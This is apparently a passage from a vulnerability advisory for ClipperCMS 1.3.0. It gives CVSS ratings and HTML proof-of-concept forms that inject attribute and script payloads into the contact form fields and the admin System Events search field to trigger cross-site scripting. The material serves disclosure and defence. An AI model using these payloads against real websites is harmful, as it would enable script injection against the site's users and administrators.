Contrary to the XSS issues in the admin area described below, these XSS work without clickjacking or specific settings regarding referers. Proof of Concept The POCs for name and subjected are equivalent to this POC for email: <html> <body> <form action="http://localhost/ClipperCMS-clipper_1.3.0/index.php?id=6" method="POST"> <input type="hidden" name="name" value="test" /> <input type="hidden" name="email" value=""onfocus="alert(1)"autofocus="" /> <input type="hidden" name="subjected" value="test" /> <input type="hidden" name="message" value="test" /> <input type="hidden" name="submit" value="Send" /> <input type="hidden" name="formid" value="contactform" /> <input type="submit" value="Submit request" /> </form> </body> </html> POC for message: <html> <body> <form action="http://localhost/ClipperCMS-clipper_1.3.0/index.php?id=6" method="POST"> <input type="hidden" name="name" value="test"onfocus="alert(1)"autofocus="" /> <input type="hidden" name="email" value=""onfocus" /> <input type="hidden" name="subjected" value="test"onfocus="alert(1)"autofocus="" /> <input type="hidden" name="message" value="test"></textarea><script>alert(1)</script>" /> <input type="hidden" name="submit" value="Send" /> <input type="hidden" name="formid" value="contactform" /> <input type="submit" value="Submit request" /> </form> </body> 5. XSS 3 CVSS Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N Description The search field of the System Events page is vulnerable to XSS. To execute the provided POC, the setting "Validate HTTP_REFERER headers" should be set to false. Please note that it is likely possible to exploit this issue via ClickJacking even if that setting is set to true. Proof of Concept <html> <body> <form action="http://localhost/ClipperCMS-clipper_1.3.0/manager/index.php?a=114" method="POST"> <input type="hidden" name="id" value="" /> <input type="hidden" name="listmode" value="" /> <input type="hidden" name="op" value="" /> <input type="hidden" name="search" value="" autofocus onfocus="alert(1)" /> <input type="submit" value="Submit request" /> </form> </body> </html> 6. XSS 4ff CVSS Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N Description Multiple parameters of various components of the admin area are vulnerable to XSS.
